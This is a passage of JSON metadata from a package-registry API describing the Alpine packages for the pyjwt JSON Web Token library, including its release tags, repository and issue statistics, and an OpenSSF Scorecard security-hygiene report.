","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.267Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.460348162475825,"stargazers_count":1.9729206963249517,"forks_count":2.0502901353965184,"average":6.370889748549324},"purl":"pkg:apk/alpine/py-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.10","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages/py-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.10","url":"https://pkgs.alpinelinux.org/packages?branch=v3.10","ecosystem":"alpine","default":false,"packages_count":10340,"maintainers_count":177,"namespaces_count":2,"keywords_count":925,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":396},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.780Z","updated_at":"2026-06-10T05:17:28.781Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.10/namespaces"}},{"id":6220891,"name":"py3-jwt-cli","ecosystem":"alpine","description":"Python3 JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_published_at":"2020-04-02T01:43:47.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-04-15T03:03:10.278Z","created_at":"2023-02-01T03:43:12.331Z","updated_at":"2026-05-29T04:00:33.734Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.12/community/x86_64/py3-jwt-cli","install_command":"apk add py3-jwt-cli","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8